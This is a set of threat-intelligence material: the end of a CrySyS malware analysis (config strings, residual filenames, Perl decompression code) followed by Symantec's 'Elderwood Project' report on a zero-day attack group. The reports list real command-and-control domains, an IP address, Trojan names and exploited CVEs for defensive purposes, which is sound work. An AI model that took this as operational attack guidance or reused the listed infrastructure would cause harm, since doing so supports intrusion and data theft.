+gppref32.exe +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +ExposureIndicating.78 +ExposureIndicating.79 +ExposureIndicating.80 +ExposureIndicating.81 +ExposureIndicating.82 +ExposureIndicating.83 +ExposureIndicating.84 +ExposureIndicating.85 +ExposureIndicating.86 +ExposureIndicating.87 +ExposureIndicating.88 +ExposureIndicating.89 +ExposureIndicating.90 +ExposureIndicating.91 +ExposureIndicating.92 +ExposureIndicating.93 +ExposureIndicating.94 +ExposureIndicating.95 +ExposureIndicating.96 +ExposureIndicating.97 +ExposureIndicating.98 +ExposureIndicating.99 +ExposureIndicating.100 +ExposureIndicating.101 +ExposureIndicating.102 +ExposureIndicating.103 +ExposureIndicating.104 +ExposureIndicating.105 +ExposureIndicating.106 +ExposureIndicating.107 +ExposureIndicating.108 +ExposureIndicating.109 +ExposureIndicating.110 +ExposureIndicating.111 +ExposureIndicating.112 +ExposureIndicating.113 +ExposureIndicating.114 +ExposureIndicating.115 +ExposureIndicating.116 +ExposureIndicating.117 +ExposureIndicating.118 +ExposureIndicating.119 +ExposureIndicating.120 +ExposureIndicating.121 +ExposureIndicating.122 +ExposureIndicating.123 +ExposureIndicating.124 +ExposureIndicating.125 +ExposureIndicating.126 +ExposureIndicating.127 +ExposureIndicating.128 +ExposureIndicating.129 +ExposureIndicating.130 +ExposureIndicating.131 +~dfc855.tmp +SeCEdit +DefaultEnvironment +LastUsedIdentifier +Windows Authentication Client Manager +Windows NT Enhanced Processing Service +~rcf0 +~rcj0 +~ZLM0D1.ocx +~ZLM0D2.ocx +Delayed Write Failed +iexplore +cgi-bin\counter.cgi +Mon.com +Mon.exe +~ekz167.tmp +~zwp129.tmp +~dfc634.tmp +~dfc551.tmp +~dfc412.tmp +tftp.exe +csvde.exe +dstrlog.dat +dstrlogh.dat +~ZFF +~ZLM +~PCY +Firefox\profiles +advnetcfg +hub001.dat +hub002.dat +.MSBTS +D:\.. +E:\.. +F:\.. +G:\.. +H:\.. +watchxb.sys +ntaps.dat +netcfgi.ocx +advpck.dat +Advanced Network Configuration +commgr32.dll +comspol32.dll +~rf288.tmp +msglu32.ocx +Windows Indexing Service +Remote Procedure Call Namespace Client +rpcnc.dat +sndmix.drv +fmpidx.bin +tokencpt +Windows Client Manager +secindex +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +ExposureIndicating.132 +ExposureIndicating.133 +ExposureIndicating.134 +ExposureIndicating.135 +ExposureIndicating.136 +ExposureIndicating.137 +ExposureIndicating.138 +ExposureIndicating.139 +ExposureIndicating.140 +ExposureIndicating.141 +ExposureIndicating.142 +ExposureIndicating.143 +ExposureIndicating.144 +mixercfg.dat +audtable.dat +mixerdef.dat +MSSndMix +MSAuthCtrl +authpack.ocx +posttab.bin +lrlogic +lmcache.dat +ctrllist.dat +authcfg.dat +dcomm +dmmsapi +Figure 53 + List of the malware +s configuration settings + most likely contains the malware +s own files +Possible other related parts from different sources: +SUICIDE.RESIDUAL_FILES.A [NoValue]->%temp%\~a28.tmp +SUICIDE.RESIDUAL_FILES.B [NoValue]->%temp%\~DFL542.tmp +SUICIDE.RESIDUAL_FILES.C [NoValue]->%temp%\~DFL543.tmp +SUICIDE.RESIDUAL_FILES.D [NoValue]->%temp%\~DFL544.tmp +SUICIDE.RESIDUAL_FILES.E [NoValue]->%temp%\~DFL545.tmp +SUICIDE.RESIDUAL_FILES.F [NoValue]->%temp%\~DFL546.tmp +SUICIDE.RESIDUAL_FILES.G [NoValue]->%temp%\~dra51.tmp +SUICIDE.RESIDUAL_FILES.H [NoValue]->%temp%\~dra52.tmp +SUICIDE.RESIDUAL_FILES.I [NoValue]->%temp%\~fghz.tmp +SUICIDE.RESIDUAL_FILES.J [NoValue]->%temp%\~rei524.tmp +SUICIDE.RESIDUAL_FILES.K [NoValue]->%temp%\~rei525.tmp +SUICIDE.RESIDUAL_FILES.L [NoValue]->%temp%\~TFL848.tmp +SUICIDE.RESIDUAL_FILES.M [NoValue]->%temp%\~TFL842.tmp +SUICIDE.RESIDUAL_FILES.O [NoValue]->%temp%\GRb2M2.bat +SUICIDE.RESIDUAL_FILES.P [NoValue]->%temp%\indsvc32.ocx +SUICIDE.RESIDUAL_FILES.Q [NoValue]->%temp%\scaud32.exe +SUICIDE.RESIDUAL_FILES.R [NoValue]->%temp%\scsec32.exe +SUICIDE.RESIDUAL_FILES.S [NoValue]->%temp%\sdclt32.exe +SUICIDE.RESIDUAL_FILES.T [NoValue]->%temp%\sstab.dat +SUICIDE.RESIDUAL_FILES.U [NoValue]->%temp%\sstab15.dat +SUICIDE.RESIDUAL_FILES.V [NoValue]->%temp%\winrt32.dll +SUICIDE.RESIDUAL_FILES.W [NoValue]->%temp%\winrt32.ocx +SUICIDE.RESIDUAL_FILES.X [NoValue]->%temp%\wpab32.bat +SUICIDE.RESIDUAL_FILES.T [NoValue]->%windir%\system32\commgr32.dll +SUICIDE.RESIDUAL_FILES.A1 [NoValue]->%windir%\system32\comspol32.dll +SUICIDE.RESIDUAL_FILES.A2 [NoValue]->%windir%\system32\comspol32.ocx +SUICIDE.RESIDUAL_FILES.A3 [NoValue]->%windir%\system32\indsvc32.dll +SUICIDE.RESIDUAL_FILES.A4 [NoValue]->%windir%\system32\indsvc32.ocx +SUICIDE.RESIDUAL_FILES.A5 [NoValue]->%windir%\system32\modevga.com +SUICIDE.RESIDUAL_FILES.A6 [NoValue]->%windir%\system32\mssui.drv +SUICIDE.RESIDUAL_FILES.A7 [NoValue]->%windir%\system32\scaud32.exe +SUICIDE.RESIDUAL_FILES.A8 [NoValue]->%windir%\system32\sdclt32.exe +SUICIDE.RESIDUAL_FILES.A2 [NoValue]->%windir%\system32\watchxb.sys +SUICIDE.RESIDUAL_FILES.A10 [NoValue]->%windir%\system32\winconf32.ocx +SUICIDE.RESIDUAL_FILES.A11 [NoValue]->%windir%\system32\mssvc32.ocx +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +SUICIDE.RESIDUAL_FILES.A12 [NoValue]->%COMMONPROGRAMFILES%\Microsoft +Shared\MSSecurityMgr\rccache.dat +SUICIDE.RESIDUAL_FILES.A13 [NoValue]->%COMMONPROGRAMFILES%\Microsoft +Shared\MSSecurityMgr\dstrlog.dat +SUICIDE.RESIDUAL_FILES.A14 [NoValue]->%COMMONPROGRAMFILES%\Microsoft +Shared\MSAudio\dstrlog.dat +SUICIDE.RESIDUAL_FILES.A15 [NoValue]->%COMMONPROGRAMFILES%\Microsoft +Shared\MSSecurityMgr\dstrlogh.dat +SUICIDE.RESIDUAL_FILES.A16 [NoValue]->%COMMONPROGRAMFILES%\Microsoft +Shared\MSAudio\dstrlogh.dat +SUICIDE.RESIDUAL_FILES.A17 [NoValue]->%SYSTEMROOT%\Temp\~8C5FF6C.tmp +SUICIDE.RESIDUAL_FILES.A18 [NoValue]->%windir%\system32\sstab0.dat +SUICIDE.RESIDUAL_FILES.A12 [NoValue]->%windir%\system32\sstab1.dat +SUICIDE.RESIDUAL_FILES.A20 [NoValue]->%windir%\system32\sstab2.dat +SUICIDE.RESIDUAL_FILES.A21 [NoValue]->%windir%\system32\sstab3.dat +SUICIDE.RESIDUAL_FILES.A22 [NoValue]->%windir%\system32\sstab4.dat +SUICIDE.RESIDUAL_FILES.A23 [NoValue]->%windir%\system32\sstab5.dat +SUICIDE.RESIDUAL_FILES.A24 [NoValue]->%windir%\system32\sstab6.dat +SUICIDE.RESIDUAL_FILES.A25 [NoValue]->%windir%\system32\sstab7.dat +SUICIDE.RESIDUAL_FILES.A26 [NoValue]->%windir%\system32\sstab8.dat +SUICIDE.RESIDUAL_FILES.A27 [NoValue]->%windir%\system32\sstab2.dat +SUICIDE.RESIDUAL_FILES.A28 [NoValue]->%windir%\system32\sstab10.dat +SUICIDE.RESIDUAL_FILES.A22 [NoValue]->%windir%\system32\sstab.dat +SUICIDE.RESIDUAL_FILES.B1 [NoValue]->%temp%\~HLV751.tmp +SUICIDE.RESIDUAL_FILES.B2 [NoValue]->%temp%\~KWI288.tmp +SUICIDE.RESIDUAL_FILES.B3 [NoValue]->%temp%\~KWI282.tmp +SUICIDE.RESIDUAL_FILES.B4 [NoValue]->%temp%\~HLV084.tmp +SUICIDE.RESIDUAL_FILES.B5 [NoValue]->%temp%\~HLV224.tmp +SUICIDE.RESIDUAL_FILES.B6 [NoValue]->%temp%\~HLV227.tmp +SUICIDE.RESIDUAL_FILES.B7 [NoValue]->%temp%\~HLV473.tmp +SUICIDE.RESIDUAL_FILES.B8 [NoValue]->%windir%\system32\nteps32.ocx +SUICIDE.RESIDUAL_FILES.B2 [NoValue]->%windir%\system32\advnetcfg.ocx +SUICIDE.RESIDUAL_FILES.B10 [NoValue]->%windir%\system32\ccalc32.sys +SUICIDE.RESIDUAL_FILES.B11 [NoValue]->%windir%\system32\boot32drv.sys +SUICIDE.RESIDUAL_FILES.B12 [NoValue]->%windir%\system32\rpcnc.dat +SUICIDE.RESIDUAL_FILES.B13 [NoValue]->%windir%\system32\soapr32.ocx +SUICIDE.RESIDUAL_FILES.B14 [NoValue]->%windir%\system32\ntaps.dat +SUICIDE.RESIDUAL_FILES.B15 [NoValue]->%windir%\system32\advpck.dat +SUICIDE.RESIDUAL_FILES.B16 [NoValue]->%temp%\~rf288.tmp +SUICIDE.RESIDUAL_FILES.B17 [NoValue]->%temp%\~dra53.tmp +SUICIDE.RESIDUAL_FILES.B18 [NoValue]->%systemroot%\system32\msglu32.ocx +SUICIDE.RESIDUAL_FILES.C1 [NoValue]->%COMMONPROGRAMFILES%\Microsoft +Shared\MSAuthCtrl\authcfg.dat +SUICIDE.RESIDUAL_FILES.C2 [NoValue]->%COMMONPROGRAMFILES%\Microsoft +Shared\MSSndMix\mixercfg.dat +Figure 54 + SUICIDE RESIDUAL FILES + probably also malware related (to691.tmp) +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Possible other related parts from different sources: +%windir%\system32\comspol32.dll + ? DisableRSO + found in res146 in F +compression; maybe the same as nteps32 +%windir%\system32\commgr32.dll + ? DisableRTA + The same as for +comspol32.dll +Figure 55 +Winlogon.exe with injected code working with ccalc32.sys + procmon +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +ANNEX +Here we give some hint on implementing functions for which we had problems. The typical +example is encryption, where it is very important which parameters and implementation are +in use, and what type of header should exist for the successful decompression. +Again, we don +t want to show best practice, we want to show at least one successful way to +work with the sample. + load sample into $bufall +use Compress::Zlib; +sub FlatDecoding { +my ($str) = @_; +my @ret = split('', $str); +my ($k, $err) = inflateInit( {-Bufsize => 1}); +my ($ret,$z,$status) = ('','',0); +foreach (@ret) { +($z, $status) = $k->inflate($_); +$ret .= $z; +last if $status == Z_STREAM_END or $status != Z_OK; +return $ret; +$bufall2=FlatDecoding($bufall); +..save $bufall2 +Figure 56 + F/Inflate/Flate decompression + PERL sample code copied from the net + load sample into $bufall +use Compress::PPMd; +my $decoder=Compress::PPMd::Decoder->new(); +my $bufall2=$decoder->decode(substr($bufall,4)); +not be decompressed +..save $bufall2 +Figure 57 + PPMd decompression + PERL sample code copied from the net +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Security Response +The Elderwood Project +Gavin O +Gorman +Geoff McDonald +Contents +Overview............................................................. 1 +Background......................................................... 2 +Targets................................................................ 4 +Escalation of watering hole attacks................... 6 +Attack platform................................................... 8 +Document creation kit .................................. 8 +Shared SWF file............................................. 8 +Connecting the dots........................................... 9 +Conclusion........................................................ 10 +Appendix........................................................... 11 +Symantec protection........................................ 12 +Overview +In 2009, Google was attacked by a group using the Hydraq (Aurora) +Trojan horse. Symantec has monitored this group +s activities for +the last three years as they have consistently targeted a number +of industries. Interesting highlights in their method of operations +include: the use of seemingly an unlimited number of zero-day +exploits, attacks on supply chain manufacturers who service the target +organization, and a shift to +watering hole + attacks (compromising +certain websites likely to be visited by the target organization). The +targeted industry sectors include, but are not restricted to; defense, +various defense supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. +These attackers are systematic and re-use components of an +infrastructure we have termed the +Elderwood platform +. The name +Elderwood + comes from a source code variable used by the attackers. +This attack platform enables them to quickly deploy zero-day exploits. +Attacks are deployed through spear phishing emails and also, +increasingly, through Web injections in watering hole attacks. +Although there are other attackers utilizing zero-day exploits (for +example, the Sykipot or Nitro, or even Stuxnet), we have seen no other +group use so many. The number of zero-day exploits used indicates +access to a high level of technical capability. Here are just some of the +most recent exploits that they have used: +Security Response +The Elderwood Project + Adobe Flash Player Object Type Confusion Remote Code Execution Vulnerability (CVE-2012-0779) + Microsoft Internet Explorer Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875) + Microsoft XML Core Services Remote Code Execution Vulnerability (CVE-2012-1889) + Adobe Flash Player Remote Code Execution Vulnerability (CVE-2012-1535) +It is likely the attackers have gained access to the source code for some widely used applications, or have +thoroughly reverse-engineered the compiled applications in order to discover these vulnerabilities. The +vulnerabilities are used as needed, often within close succession of each other if exposure of any of the +vulnerabilities is imminent. +The scale of the attacks, in terms of the number of victims and the duration of the attacks, are another +indication of the resources available to the attackers. Victims are attacked, not for petty crime or theft, but for +the wholesale gathering of intelligence and intellectual property. The resources required to identify and acquire +useful information +let alone analyze that information +could only be provided by a large criminal organization, +attackers supported by a nation state, or a nation state itself. +Background +Serious zero-day vulnerabilities, which are exploited in the wild and affect a widely used piece of software, are +relatively rare; there were approximately eight in 2011. The past few months however has seen four such zeroday vulnerabilities actively exploited in the wild. Two of the zero-day exploits were in Adobe Flash, the other two +in Internet Explorer. +In April 2012, we identified seven different Trojans that were being used in conjunction with CVE-2012-0779. +Within one month, two more zero-day exploits were identified in the wild. These were CVE-2012-1875 and CVE2012-1889. The timing of the release of these three exploits was suspicious. As soon as one had been identified, +the next became active. We investigated the three exploits and found connections between them all. In the past +few weeks, yet another zero-day exploit was detected in the wild, CVE-2012-1535. We have tied this zero-day +exploit back to all the others. They may only be the tip of the iceberg. +In early 2010, Google documented an attack against their infrastructure. They stated that they were attacked +in December 2009 and that the attacks originated in China. The attackers utilized a Trojan called Hydraq, (also +known as Aurora), which was delivered using an Internet Explorer zero-day exploit. We believe the Hydraq attack +and the recent +Figure 1 +attacks that exploit Timeline of zero-day exploits attributable to the one group +the vulnerabilities +outlined above are +linked. +In March 2011, at +least two Adobe +Flash zero-day +attacks were +utilized in similar +attacks against +the same types +of victims. In +September 2011, +yet another Adobe +Flash zero-day +exploit was used +Page 2 +Security Response +The Elderwood Project +to attack visitors to the Amnesty International Hong Kong site. The very same website was again compromised +in the most recent set of attacks. Our analysis shows that a single group has been using these zero-day exploits, +along with others over the past couple of years, in targeted attacks against individuals, companies, governments, +and even entire sectors. A timeline for these various zero-day exploits is shown in Figure 1. +The attacks conducted by this group are carried out using several different techniques. +One of the methods used, called a watering hole attack, shown in figure 2, is a clear shift in their method of +operations. The concept of the attack is similar to a predator waiting at a watering hole in a desert. The predator +knows that victims will eventually have to come to the watering hole, so rather than go hunting, he waits for +his victims to come to him. Similarly, attackers find a Web site that caters to a particular audience in which the +attackers are interested. For example, people who visit the Amnesty International Hong Kong website are most +Figure 2 +Web injection process used in watering hole attacks +likely visiting because they are interested in human rights issues in Hong Kong. Having identified this website, +the attackers hack into it using a variety of means. For example, the site may be vulnerable to a SQL injection, +or perhaps the attackers compromise the machine of an individual with publishing rights to the website. The +Page 3 +The Elderwood Project +Security Response +attackers then inject an exploit onto public pages of the website that are hopefully visited by their ultimate +target. Any visitor susceptible to the exploit is compromised and a back door Trojan is installed onto their +computer. The attacker then has complete control over the victim +s computer. +Three of the most recent zero-day exploits were used in watering hole attacks, an indication that this approach is +gaining momentum. +The more traditional technique is to send a +spear-phishing + email, containing an attachment, to the target. +That attachment is a document containing an exploit which, when opened, then drops a Trojan onto the target +computer. This works if the exploit is embeddable in a document. If not, then an alternative approach is to +host the exploit on a Web server and then email the target with a link to that Web server. The link used is quite +unique, it is not hosted on a common Web site, so it will only be encountered by the chosen target. When the +target clicks on the link, the exploit is triggered and a back door is installed. +The Elderwood gang has shown their resourcefulness over the past few years by leveraging a large number of +zero-day vulnerabilities. The full list of vulnerabilities is shown below. +Table 1 +Zero-day vulnerabilities associated with the Elderwood gang +Description +Application +2012-0779 +53395 +Object Type Confusion Remote Code Execution Vulnerability +Adobe Flash Player +2012-1875 +53847 +Same ID Property Remote Code Execution Vulnerability +Microsoft Internet Explorer +2012-1889 +53934 +Remote Code Execution Vulnerability +Microsoft XML Core Services +2012-1535 +55009 +Remote Code Execution Vulnerability +Adobe Flash Player +2011-0609 +46860 +'SWF' File Remote Memory Corruption Vulnerability +Adobe Flash Player +2011-0611 +47314 +'SWF' File Remote Memory Corruption Vulnerability +Adobe Flash Player +2011-2110 +48268 +Adobe Flash Player Remote Memory Corruption Vulnerability +Adobe Flash Player +2010-0249 +37815 +'srcElement()' Remote Code Execution Vulnerability +Internet Explorer +We have analyzed four of the most recent exploits (CVE-2012-0779, CVE-2012-1875, CVE-2012-1889, and +CVE-2012-1535) and their associated malicious documents, the Trojans, and the infrastructure utilized in the +attacks. There are several common features used in the attacks. Some of these features hint at the potential +infrastructure, or platform, developed to support these attacks. From this analysis we have identified an +increase in watering hole attacks by this group and developed a theory describing the possible infrastructure the +attackers are utilizing. We also describe the various targeted industry sectors and provide evidence that a single +gang is most likely to be behind the attacks. +Targets +The targets of the four recent zero-day exploits were attacked through both email (CVE-2012-0779 and CVE2012-1535) and Web vectors (CVE-2012-0779, CVE-2012-1875, and CVE-2012-1889). Identifying the target +profile and related industry to which the target belongs is straight forward when email is used in an attack. +Identifying the profile of the targets when the Web is used as the attack vector is difficult. For example, if an +aeronautical website was compromised, the attackers may be trying to infect visitors from the Defense industry, +the aeronautical company employees themselves, or perhaps visitors from others aeronautical companies. For +our analysis, we have had to presume that the industry sector being targeted is the same as that of the watering +hole website, understanding that in reality this may not always be the case. +Page 4 +Security Response +The Elderwood Project +The primary targets identified are defense, or more precisely manufacturers that are in the defense supply +chain. These are companies who manufacture electronic or mechanical components which are then sold to +top-tier defense companies. The attackers may use the manufacturers as a stepping stone to gain access to +top-tier defense contractors, or obtain intellectual property used in the production of parts that make up larger +products produced by a top-tier defense company. +Figure 3 +Target sectors +The second most common target is the general area of human rights, or Non Governmental Organizations +(NGOs). A number of websites generally relating to religion, Taiwan, Hong Kong and China were compromised +for this purpose. The CVE-2012-1875 exploit is almost exclusively used in this target sector, with some crossover +from the CVE-2012-1889 exploit. +Figure 4 +Number of targeted companies (Email) and compromised +websites (Web) per exploit +Page 5 +Security Response +The Elderwood Project +The remaining target sectors include Finance, Energy (Oil/Gas), Education, and Government. There are a number +of outlier victims, such as a hotel jobs site, which may have simply been targeted in error and are collateral +damage. The vast majority of detections are in the United States. Figure 5 shows those detections. +Figure 5 +Global detections of files used in the past year by the Elderwood gang +Escalation of watering hole attacks +As we have noted earlier, the number of watering hole attacks have been on the increase. The attacks begin with +an attacker locating a vulnerability on a chosen website. This vulnerability allows the attacker to insert some +JavaScript, or HTML, into the website. That piece of code contains a link, or iFrame, which points to another Web +page that actually hosts exploit code for the chosen vulnerability. When a user connects to the hacked website, +they are automatically referred to the malicious Web page which exploits a vulnerability allowing the attacker to +install malware onto the victim +s computer. Once the iFrame and malicious code are in place on the server, the +attacker does not need to do anything but simply wait for victims to browse to the website, or visit the watering +hole, and become infected. +Web injection attacks are not new and are commonly used in cybercrime. The difference between their use in +cybercrime and in watering hole attacks is down to the choice of websites to compromise and use in the attacks. +In a mass injection attack, criminals will indiscriminately compromise any website they can, but in watering hole +attacks, the attackers are focused. They choose websites within a particular sector so as to infect persons of +interest who likely work in that same sector and are likely to therefore visit related websites. Targeting a specific +website is much more difficult than merely locating websites that contain a vulnerability. The attacker has to +research and probe for a weakness on the chosen website. +Indeed, in watering hole attacks, the attackers may compromise a website months before they actually use +it in an attack. Once compromised, the attackers periodically connect to the website to ensure that they still +have access. This way, the attackers can infect a number of websites in one stroke, thus preserving the value of +their zero-day exploit. They are even in a position to inspect the website logs to identify any potential victims of +interest. This technique ensures that they obtain the maximum return for their valuable zero-day exploit. +Page 6 +Security Response +The Elderwood Project +Although watering hole attacks have been known about since approximately March of 2011, the activity outlined +in this report marks a substantial increase. Three zero-day exploits, CVE-2012-0779, CVE-2012-1875, and CVE2012-1889 have all been used within a 30-day period to serve up back door Trojans from compromised websites. +Figure 6 +Elderwood platform +Page 7 +Security Response +The Elderwood Project +The increase in the use of this attack technique requires the attackers to sift through a much greater amount +of stolen information than a targeted attack relying on email, as the number of victims compromised by a Web +injection attack will be much greater. Although multiple emails are often sent to numerous victims, the scale of +such attacks is much smaller than the number of victims infected by visiting one of a number of compromised +websites. We believe, to solve this problem, the attackers have built a system that allows them to execute new +campaigns by simply dropping in a new exploit and various other components, such as Trojans and hacked +servers. +Attack platform +The attackers have leaked snippets of information that hint at the type of infrastructure that is likely to be used +to implement these attacks. Figure 6 is a diagram of the various processes and steps that that the Elderwood +attackers must go through to conduct their attacks. +All attacks require a Trojan to infect the target computer. This Trojan is packaged with a packer and also the +address of the command-and-control (C&C) server. The next step is to deliver that packaged Trojan to the target. +Delivery is either though an email or a Web based vector. We have identified two distinct elements in the delivery +vector that demonstrate the potential attack infrastructure. +Document creation kit +The attackers often delivered their malicious code via documents attached to email. Based on our analysis, we +believe the attackers have built a tool that easily allows them to automatically construct documents containing +different payloads. The tool is able to take an arbitrary clean document file, specific exploit code, and a Trojan, +and bundle them together to create a malicious document ready to be used in the next attack. This tool is one +component of the Elderwood platform. The use of such a tool can be readily seen in samples that exploit the +CVE-2012-0779 vulnerability where multiple document files were encoded in the same manner, but the Trojan +payload differed. +Shared SWF file +Another component used in the attacks is a Shockwave Flash (SWF) file. Often, to ensure reliable execution +of exploit code, code must be placed in the right areas of computer memory. In addition, exploit code often +performs the same task of downloading a Trojan from a remote website for execution. Instead of developing +code to perform these tasks for each different exploit, the attackers have developed a common SWF file that is +used solely to create the correct conditions in memory and accepts a parameter specifying where to download +the Trojan. In some attacks, the parameter name was +Elderwood. + The same SWF file was seen used when +exploiting 3 different vulnerabilities (CVE-2012-0779, CVE-2012-1875, CVE-2012-1889). +By using a common SWF file, the attackers can simply deploy a new trigger, that is, a zero-day exploit, and the +SWF handles the rest of the work, retrieving and decoding the back door Trojan. +These various re-usable components collectively make up the Elderwood attack platform, as shown in figure 6. +There is no doubt that there are several other components that the attackers use in their various processes as +well. Other possible components of the attack platform may include: + A tool for the automated creation of accounts on Web-based email services + Automated registration of domain names + Information gathering on targets + searching for, and consolidating data on, a victim to identify potential +website targets and relevant topics for email content + An analysis platform for stolen information +Page 8 +Security Response +The Elderwood Project +The reuse of the identified components gives clues as to how the attackers may divide the labor amongst +themselves. Technically skilled hackers (researchers) create exploits, document creation kits, re-usable trigger +code (the SWF files), and compromise websites, and these are then made available to less technical attackers. +These attackers (attack operators) are likely responsible for identifying targets and delivering the attack payload +using the tools and infrastructure provided to them. +Once a target has been compromised, the less skilled attack operators can then proceed to move through +the compromised network, identifying data of interest. The level of technical skill required to move through a +compromised network is much lower than that required to establish the initial penetration. +Connecting the dots +The investigation into the various exploits began with a deep analysis of CVE-2012-0779. From this analysis, we +identified several Trojans which were dropped from documents utilizing the exploit. These Trojans helped us +begin the process of establishing links between the various zero-day exploits. +The code in one of those Trojans was obfuscated in a certain way. This same obfuscation was used on a Trojan +dropped by CVE-2012-1875, establishing a link between the use of these two exploits. Going back in time, the +Hydraq Trojan also displayed this obfuscation. +Additional links joining the various exploits together included a shared command-and-control infrastructure. +Trojans dropped by different exploits were connecting to the same servers to retrieve commands from the +attackers. Some compromised websites used in the watering hole attacks had two different exploits injected into +them one after the other. Yet another connection is the use of similar encryption in documents and malicious +executables. A technique used to pass data to a SWF file was re-used in multiple attacks. Finally, the same family +of Trojan was dropped from multiple different exploits. +Figure 7 illustrates the connections between the various exploits. +Figure 7 +Links between different exploits +Page 9 +Security Response +The Elderwood Project +Conclusion +Simple targeted attacks are quite common. Most (the Taidoor attackers for example) reuse exploits and are +relatively simple to block, if one ensures that one +s network and software is regularly patched. Somewhat more +sophisticated attackers use zero-day exploits. The Elderwood hackers use multiple zero-day exploits, multiple +Trojans, and multiple delivery vectors. They are responsible for compromising numerous websites, corporations, +and individuals over the past three years. This group is focused on wholesale theft of intellectual property and +clearly has the resources, in terms of manpower, funding, and technical skills, required to implement this task. +Although we have not conclusively established a connection between the most recent exploits and those used +in attacks in 2011, there are similarities. Apart from the technical features in common, as mentioned previously +(URL encoding), there is a noticeable similarity in the timing of the attacks and the types of vulnerabilities used +between the 2012 and 2011 attacks. Both sets of attacks used multiple zero-day exploits one after the other, +sometime around April to August, and both sets of attacks exploit Adobe Flash and Internet Explorer. +It may be the case that these initial +penetration + attacks are launched over a fixed period of time (several +months from approximately April to August). After this initial compromise, the attackers consolidate their +beachhead and begin to analyze the stolen information, spreading through networks and maintaining access as +needed. By analyzing the information gathered, the attackers can identify yet more targets of interest. They may +also eventually be detected and evicted from a compromised network. In later attacks, newly identified targets +can be attacked and old victims can be targeted again. If this is the case, then companies and individuals need to +be on their guard. +Any manufacturers who are in the defense supply chain need to be wary of attacks emanating from subsidiaries, +business partners, and associated companies. It is possible that those trusted companies were compromised +by the attackers who are then using them as a stepping-stone to the true intended target. Companies and +individuals should prepare themselves for a new round of attacks in 2013 utilizing both Adobe Flash and Internet +Explorer zero-day exploits. This is particularly the case for companies who have been compromised in the past +and managed to evict the attackers. The knowledge that the attackers gained in their previous compromise will +assist them in any future attacks. +Resources +Symantec Security Response Blog +http://www.symantec.com/connect/symantec-blogs/sr +Follow Symantec Security Response on Twitter +http://twitter.com/threatintel +Page 10 +Security Response +The Elderwood Project +Appendix +Malware detection names +The Elderwood gang uses multiple different Trojans. The ones identified to date are detected using the detection +names in table 2. +Table 2 +Trojans associated with Elderwood gang +Associated Trojans +Backdoor.Briba +Trojan.Hydraq +Trojan.Naid +Backdoor.Wiarp +Backdoor.Vasport +Trojan.Pasam +Backdoor.Darkmoon +Packed.Generic.379 +Packed.Generic.374 +Backdoor.Ritsol +Backdoor.Nerex +Backdoor.Linfo +Command-and-control servers +Table 3 shows the command and control servers. +Table 3 +Command and control servers +C&C domains +qwby.gownsman.com +wwwcnas.org +gate-usa.com +3dvideo.ru +wt.ikwb.com +svr01.passport.serveuser.com +zfcay1751.chinaw3.com +web.cyut.edu.tw +srv001.proxydns.com +help.2012hi.hk +0207.gm.jetos.com +71.6.217.131 +javaupdate.freeddns.com +yours.microtrendsoft.com +cpu.edu.tw +glogin.ddns.us +download.msdnblog.com +dd.pst.qpoe.com +Page 11 +Security Response +The Elderwood Project +Symantec protection +Many different Symantec protection technologies play a role in defending against this threat, including: +File-based protection (Traditional antivirus) +Traditional antivirus protection is designed to detect and block malicious files and is effective against files +associated with this attack. + Bloodhound.Exploit.469 + Bloodhound.Exploit.465 + Bloodhound.Exploit.466 + Bloodhound.Olexe.2 + Bloodhound.Flash.15 + Packed.Generic.379 + Packed.Generic.374 + Backdoor.Briba + Trojan.Hydraq + Trojan.Naid + Backdoor.Wiarp + Backdoor.Vasport + Trojan.Pasam + Backdoor.Darkmoon + Backdoor.Ritsol + Backdoor.Nerex + Backdoor.Linfo + Trojan.MDropper +Network-based protection (IPS) +Network-based protection in Symantec Endpoint Protection can help protect against unauthorized network +activities conducted by malware threats or intrusion attempts. + Adobe Flash Type Confusion CVE-2012-0779 (25718) + RTMP Type Confusion CVE-2012-0779 2 (25721) + MSIE MSXML CVE-2012-1889 3 (25783) + MSIE MSXML CVE-2012-1889 2 (50331) + MSIE MSXML CVE-2012-1889 (25786) + Malicious SWF Download CVE-2012-1535 2 (25878) + Malicious SWF Download 4 (25789) + MSIE Same ID Property CVE-2012-1875 (25787) + MSIE CVE-2010-0249 (23823) + Malformed XLS SWF Remote Code Execution CVE-2011-0609 (24136) + Flash Player CVE-2011-2110 (24336) + Adobe Embedded SWF CVE-2011-0611 (24212) +Behavior-based protection +Behavior-based detection blocks suspicious processes using the Bloodhound.SONAR series of detections +Reputation-based protection (Insight) + Norton Safeweb blocks users from visiting infected websites. + Insight detects and warns against suspicious files as WS.Reputation.1 +Page 12 +Security Response +The Elderwood Project +Email-based protection +Symantec MessageLabs Email Security.cloud can block emails associated with these attacks +Other protection + Application and Device Control (SEP) prevents malicious document files from dropping the backdoor +TrojanSymantec Critical System Protection can also prevent unauthorized applications from running. + Browser Protection can protect against web based attacks which use exploits + Symantec Critical System Protection can help to lock down system and prevent intrusions + Data Loss Prevention (DLP) can prevent confidential data from being accessed or exfiltrated by the attacker +Page 13 +Security Response +Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec +Corporation. +NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the +technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical +errors. Symantec reserves the right to make changes without prior notice. +About Symantec +Symantec is a global leader in +providing security, storage and +systems management solutions to +help businesses and consumers +secure and manage their information. +Headquartered in Mountain View, Calif., +Symantec has operations in more +than 40 countries. More information +is available at www.symantec.com. +About the authors +Geoff McDonald - Threat Analysis Engineer +Gavin O +Gorman - Sr Threat Intelligence Analyst +For specific country offices and contact numbers, please visit our Web site. For product +information in the U.S., call +toll-free 1 (800) 745 6054. +Symantec Corporation +World Headquarters +350 Ellis Street +Mountain View, CA 94043 USA ++1 (650) 527-8000 +www.symantec.com +Copyright + 2012 Symantec Corporation. All rights reserved. +Symantec and the Symantec logo are trademarks or registered +trademarks of Symantec Corporation or its affiliates in 